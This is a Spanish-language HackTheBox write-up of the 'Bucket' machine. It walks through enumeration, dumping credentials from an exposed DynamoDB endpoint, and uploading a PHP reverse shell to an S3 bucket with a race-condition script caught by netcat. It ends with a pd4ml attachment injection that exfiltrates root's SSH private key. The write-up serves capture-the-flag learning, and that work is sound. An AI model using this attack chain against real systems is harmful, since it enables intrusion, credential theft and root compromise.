Bucket es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad media.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Bucket 10.10.10.212 a /etc/hosts como bucket.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
# Nmap 7.70 scan initiated Thu Dec 3 21:12:42 2020 as: nmap -sC -p- -A -oA enumeration/nmap 10.10.10.212 Nmap scan report for 10.10.10.212 Host is up (0.11s latency). Not shown: 65533 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Did not follow redirect to http://bucket.htb/ No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.70%E=4%D=12/3%OT=22%CT=1%CU=36592%PV=Y%DS=2%DC=T%G=Y%TM=5FC9491 OS:5%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10B%TI=Z%CI=Z%TS=A)OPS(O1=M OS:54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7% OS:O6=M54DST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y% OS:DF=Y%T=40%W=FAF0%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD= OS:0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF OS:=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O= OS:%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40% OS:IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S) Network Distance: 2 hops Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 443/tcp) HOP RTT ADDRESS 1 102.97 ms 10.10.14.1 2 134.50 ms 10.10.10.212 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Thu Dec 3 21:22:45 2020 -- 1 IP address (1 host up) scanned in 603.94 seconds |
En esta máquina no vemos de primeras muchos puertos abiertos, asi que vamos directamente a revisar el portal web existente.
Enumeración
Accedemos al portal web y observamos la siguiente página web:
No vemos nada de primeras, más que un simple html, así que revisamos el código fuente y encontramos un subdominio al revisar la localización de las imágenes incrustadas:
Añadiremos el subdominio s3.bucket.htb a nuestro fichero /etc/hosts y accederemos al mismo a través del navegador, donde vemos el siguiente fragmente en json que indica que el servicio está funcionando:
No vemos mucho más así que vamos a intentar descubrir si existe algún directorio en este nuevo subdominio, utilizaremos para ello gobuster:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
$ gobuster dir -u http://s3.bucket.htb/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 30 =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://s3.bucket.htb [+] Threads: 30 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Timeout: 10s =============================================================== 2020/12/03 21:19:57 Starting gobuster =============================================================== /health (Status: 200) /shell (Status: 200) /server-status (Status: 403) =============================================================== 2020/12/03 21:57:49 Finished =============================================================== |
Y descubrimos dos directorios, el primero de ellos, /health, nos muestra los servicios disponibles, en este caso están s3 y dynamodb de AWS:
Pero nada más en el mismo, en el segundo de ellos observamos una web shell del servicio dynamodb de aws:
Vamos a probar el acceso a los servicios descubiertos, pero no tenemos unas claves como tal, y la webshell parece que tiene valores por defecto así que utilizaremos las claves que aparecen en la documentación de aws para el ejemplo en la siguiente url:
https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-profiles.html
Y configuramos aws:
1 |
$ aws configure |
Una vez añadidas las credenciales, en nuestro caso hemos añadido un perfil nuevo, procedemos a revisar las tablas existentes en el servicio dynamodb:
1 2 3 4 5 6 |
$ aws --profile "bucket.htb" dynamodb list-tables --endpoint-url http://s3.bucket.htb { "TableNames": [ "users" ] } |
Descubrimos la tabla users, por lo que ahora vamos a ver el contenido de la misma:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
$ aws --profile "bucket.htb" dynamodb scan --table-name users --endpoint-url http://s3.bucket.htb { "Items": [ { "password": { "S": "Management@#1@#" }, "username": { "S": "Mgmt" } }, { "password": { "S": "Welcome123!" }, "username": { "S": "Cloudadm" } }, { "password": { "S": "n2vM-<_K_Q:.Aa2" }, "username": { "S": "Sysadm" } } ], "Count": 3, "ScannedCount": 3, "ConsumedCapacity": null } |
Donde obtenemos las contraseñas de varios usuarios, aunque todavía no podemos hacer nada con las mismas.
Revisaremos ahora el servicio de S3, y en primer lugar listaremos los bucket existentes:
1 2 |
$ aws --profile "bucket.htb" --endpoint-url http://s3.bucket.htb s3 ls 2020-12-03 21:45:08 adserver |
Sólo hay uno así que revisaremos el contenido del mismo:
1 2 3 |
$ aws --profile "bucket.htb" --endpoint-url http://s3.bucket.htb s3 ls s3://adserver PRE images/ 2020-12-03 21:45:11 5344 index.html |
Revisamos los ficheros existentes y se trata del fichero index y las imágenes que vimos en el primer portal web que visitamos por lo que intentaremos subir una reverse shell en php con el objetivo de ejecutarla en el portal y conseguir acceso al servidor. En nuestro caso hemos sacado la reverse shell del repositorio de github de pentestmonkey.
Así que una vez creado nuestro fichero lo subimos al bucket y verificamos que el mismo existe:
1 2 3 4 5 6 |
$ aws --profile "bucket.htb" --endpoint-url http://s3.bucket.htb s3 cp shell.php s3://adserver/images/ && aws --profile "bucket.htb" --endpoint-url http://s3.bucket.htb s3 ls s3://adserver/images/ upload: ./shell.php to s3://adserver/images/shell.php 2020-12-03 21:51:11 37840 bug.jpg 2020-12-03 21:51:11 51485 cloud.png 2020-12-03 21:51:11 16486 malware.png 2020-12-03 21:52:22 5493 shell.php |
Y vemos que el fichero se ha subido correctamente, pero lanzamos un curl y este nos da un error 404:
1 2 3 4 5 6 7 8 9 10 |
$ curl http://bucket.htb/images/shell.php <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.41 (Ubuntu) Server at bucket.htb Port 80</address> </body></html> |
Revisamos de nuevo el mismo y este se ha borrado por lo que parece que existe algún script de limpieza que elimina el fichero a los pocos segundos de subirlo. Haremos entonces un script que suba el fichero y automáticamente lance un curl para ejecutar el mismo, el script tendrá el siguiente contenido:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
#!/bin/bash echo "Upload shell.php file" aws --profile "bucket.htb" --endpoint-url http://s3.bucket.htb s3 cp shell.php s3://adserver/images/ echo "Check if file is uploaded" aws --profile "bucket.htb" --endpoint-url http://s3.bucket.htb s3 ls s3://adserver/images/ curl --write-out "%{http_code}\n" -s -o /dev/null http://bucket.htb/images/shell.php resp=404 while [[ $resp == "404" ]]; do resp=$(curl --write-out "%{http_code}\n" -s -o /dev/null http://s3.bucket.htb/adserver/images/shell.php) echo ${resp} sleep 0.1; done |
Ejecutaremos el mismo y conseguiremos nuestra shell inversa con el usuario www-data:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
$ nc -lvp 4444 listening on [any] 4444 ... connect to [10.10.14.13] from bucket.htb [10.10.10.212] 40064 Linux bucket 5.4.0-48-generic #52-Ubuntu SMP Thu Sep 10 10:58:49 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux 21:06:08 up 51 min, 0 users, load average: 0.16, 1.23, 1.88 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $ whoami www-data $ id uid=33(www-data) gid=33(www-data) groups=33(www-data) $ |
Revisamos a continuación los usuarios existentes en la máquina y vemos que existe el usuario roy, por lo que trataremos de acceder con el mismo con las contraseñas que descubrimos anteriormente en la tabla users del servicio dynamodb.
Y conseguimos acceder con una de ellas:
1 2 3 4 5 6 |
$ su roy Password: n2vM-<_K_Q:.Aa2 id uid=1000(roy) gid=1000(roy) groups=1000(roy),1001(sysadm) whoami roy |
Obteniendo la flag de user
Ahora que ya tenemos acceso con el usuario roy, obtendremos una shell más cómoda con python y conseguiremos la flag de user:
1 2 3 4 5 6 7 8 9 10 11 12 |
python3 -c 'import pty;pty.spawn("/bin/bash")' roy@bucket:/$ cd cd roy@bucket:~$ ls -l ls -l total 8 drwxr-xr-x 3 roy roy 4096 Sep 24 03:16 project -r-------- 1 roy roy 33 Dec 3 20:15 user.txt roy@bucket:~$ cat user.txt cat user.txt cxxxxxxxxxxxxxxxxxxxxxxxxd roy@bucket:~$ |
Primer paso completado, vamos a por root.
Escalado de privilegios
Ahora que tenemos un usuario con más privilegios que www-data, vamos a crear una clave ssh y la añadiremos al usuario roy para hacer más cómoda la enumeración posterior.
Una vez dentro con nuestra clave encontramos un directorio interesante en la ruta /var/www/bucket-app con permisos de root, aunque observamos que tiene una acl configurada:
1 2 3 4 5 6 7 8 9 |
roy@bucket:/var/www$ getfacl bucket-app/ # file: bucket-app/ # owner: root # group: root user::rwx user:roy:r-x group::r-x mask::r-x other::--- |
Y dentro del mismo vemos los siguientes ficheros y directorios:
1 2 3 4 5 6 7 8 9 10 11 |
roy@bucket:/var/www$ cd bucket-app/ roy@bucket:/var/www/bucket-app$ ll total 856 drwxr-x---+ 4 root root 4096 Sep 23 10:56 ./ drwxr-xr-x 4 root root 4096 Sep 21 12:28 ../ -rw-r-x---+ 1 root root 63 Sep 23 02:23 composer.json* -rw-r-x---+ 1 root root 20533 Sep 23 02:23 composer.lock* drwxr-x---+ 2 root root 4096 Sep 23 03:29 files/ -rwxr-x---+ 1 root root 17222 Sep 23 03:32 index.php* -rwxr-x---+ 1 root root 808729 Jun 10 11:50 pd4ml_demo.jar* drwxr-x---+ 10 root root 4096 Sep 23 02:23 vendor/ |
Revisamos los mismos y encontramos algo muy interesante en el fichero index.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
<?php require 'vendor/autoload.php'; use Aws\DynamoDb\DynamoDbClient; if($_SERVER["REQUEST_METHOD"]==="POST") { if($_POST["action"]==="get_alerts") { date_default_timezone_set('America/New_York'); $client = new DynamoDbClient([ 'profile' => 'default', 'region' => 'us-east-1', 'version' => 'latest', 'endpoint' => 'http://localhost:4566' ]); $iterator = $client->getIterator('Scan', array( 'TableName' => 'alerts', 'FilterExpression' => "title = :title", 'ExpressionAttributeValues' => array(":title"=>array("S"=>"Ransomware")), )); foreach ($iterator as $item) { $name=rand(1,10000).'.html'; file_put_contents('files/'.$name,$item["data"]); } passthru("java -Xmx512m -Djava.awt.headless=true -cp pd4ml_demo.jar Pd4Cmd file:///var/www/bucket-app/files/$name 800 A4 -out files/result.pdf"); } |
Observamos que aparece un punto de acceso desconocido hasta el momento en la red local, una tabla nueva en dynamodb llamada alerts y un ejecutable en java para la creación de un fichero pdf por lo que buscamos en google alguna forma de abusar de este servicio de pdf y encontramos el siguiente enlace donde trata el tema:
https://pd4ml.com/cookbook/pdf-attachments.htm
Así que para completar esta parte necesitaremos realizar varios pasos.
- Acceder al puerto 4566 de la máquina local mediante un forward a un puerto local en nuestra máquina
- Crear la tabla alerts
- Añadir los datos indicados y la creación del fichero pdf con la clave ssh de root
- Lanzar una petición POST con el parámetro “action=get_alerts”
Explicados los pasos continuaremos con ello. En primer lugar hacemos un forward de un puerto local al puerto del servidor bucket:
1 |
$ ssh -L 12312:127.0.0.1:8000 roy@10.10.10.212 |
Para verificar que funciona correctamente, accedemos a través del navegador a la url http://127.0.0.1:12312 y observamos la siguiente página en construcción:
Completado este primer paso, crearemos la tabla alerts en la máquina:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
roy@bucket:~$ aws dynamodb create-table --table-name alerts --attribute-definitions AttributeName=title,AttributeType=S --key-schema AttributeName=title,KeyType=HASH --provisioned-throughput ReadCapacityUnits=10,WriteCapacityUnits=10 --endpoint-url http://127.0.0.1:4566 { "TableDescription": { "AttributeDefinitions": [ { "AttributeName": "title", "AttributeType": "S" } ], "TableName": "alerts", "KeySchema": [ { "AttributeName": "title", "KeyType": "HASH" } ], "TableStatus": "ACTIVE", "CreationDateTime": 1607034279.626, "ProvisionedThroughput": { "LastIncreaseDateTime": 0.0, "LastDecreaseDateTime": 0.0, "NumberOfDecreasesToday": 0, "ReadCapacityUnits": 10, "WriteCapacityUnits": 10 }, "TableSizeBytes": 0, "ItemCount": 0, "TableArn": "arn:aws:dynamodb:us-east-1:000000000000:table/alerts" } } |
Y haremos un insert de los datos indicados en el fichero index.php:
1 2 3 4 5 6 7 |
roy@bucket:~$ aws dynamodb put-item --table-name alerts --item '{"title": {"S":"Ransomware"}, "data": {"S": "<pd4ml:attachment description=\"file.txt\" icon=\"Paperclip\">file:///root/.ssh/id_rsa</pd4ml:attachment>"}}' --endpoint-url http://127.0.0.1:4566 { "ConsumedCapacity": { "TableName": "alerts", "CapacityUnits": 1.0 } } |
Por último paso lanzaremos la petición POST:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
$ curl -X POST -d "action=get_alerts" http://127.0.0.1:12312/ -v Note: Unnecessary use of -X or --request, POST is already inferred. * Trying 127.0.0.1:12312... * TCP_NODELAY set * Connected to 127.0.0.1 (127.0.0.1) port 12312 (#0) > POST / HTTP/1.1 > Host: 127.0.0.1:12312 > User-Agent: curl/7.65.1 > Accept: */* > Content-Length: 17 > Content-Type: application/x-www-form-urlencoded > * upload completely sent off: 17 out of 17 bytes * Mark bundle as not supporting multiuse < HTTP/1.1 200 OK < Date: Thu, 03 Dec 2020 22:36:22 GMT < Server: Apache/2.4.41 (Ubuntu) < Content-Length: 0 < Content-Type: text/html; charset=UTF-8 < * Connection #0 to host 127.0.0.1 left intact |
Completados los pasos, accederemos al navegador a la ruta http:127.0.0.1:12312/files y vemos que ha generado nuestro fichero:
Ahora nos queda abrir el fichero pdf y descargar la clave ssh de root:
Obteniendo la flag de root
Como último paso accederemos con el usuario root y la clave obtenida en el último paso para conseguir nuestra flag:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 |
ssh -i /tmp/root.pem root@bucket.htb Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-48-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Thu 03 Dec 2020 10:39:08 PM UTC System load: 0.04 Usage of /: 40.4% of 19.56GB Memory usage: 20% Swap usage: 0% Processes: 189 Users logged in: 1 IPv4 address for br-bee97070fb20: 172.18.0.1 IPv4 address for docker0: 172.17.0.1 IPv4 address for ens160: 10.10.10.212 IPv6 address for ens160: dead:beef::250:56ff:feb9:40e5 * Kubernetes 1.19 is out! Get it in one command with: sudo snap install microk8s --channel=1.19 --classic https://microk8s.io/ has docs and details. 91 updates can be installed immediately. 0 of these updates are security updates. To see these additional updates run: apt list --upgradable The list of available updates is more than a week old. To check for new updates run: sudo apt update Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings Last login: Tue Oct 13 10:25:01 2020 root@bucket:~# whoami root root@bucket:~# id uid=0(root) gid=0(root) groups=0(root) oot@bucket:~# ls -l total 36 drwxr-xr-x 3 root root 4096 Sep 16 12:47 backups -rw-r--r-- 1 root root 217 Sep 24 02:18 docker-compose.yml drwxr-xr-x 7 root root 4096 Dec 3 22:39 files -rwxr-xr-x 1 root root 1694 Sep 24 04:09 restore.php -rwxr-xr-x 1 root root 381 Sep 24 02:33 restore.sh -r-------- 1 root root 33 Dec 3 20:15 root.txt drwxr-xr-x 3 root root 4096 May 18 2020 snap -rwxr-xr-x 1 root root 340 Sep 24 02:40 start.sh -rwxr-xr-x 1 root root 182 Sep 24 02:08 sync.sh root@bucket:~# cat root.txt bxxxxxxxxxxxxxxxxxxxxxxxxxxa root@bucket:~# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace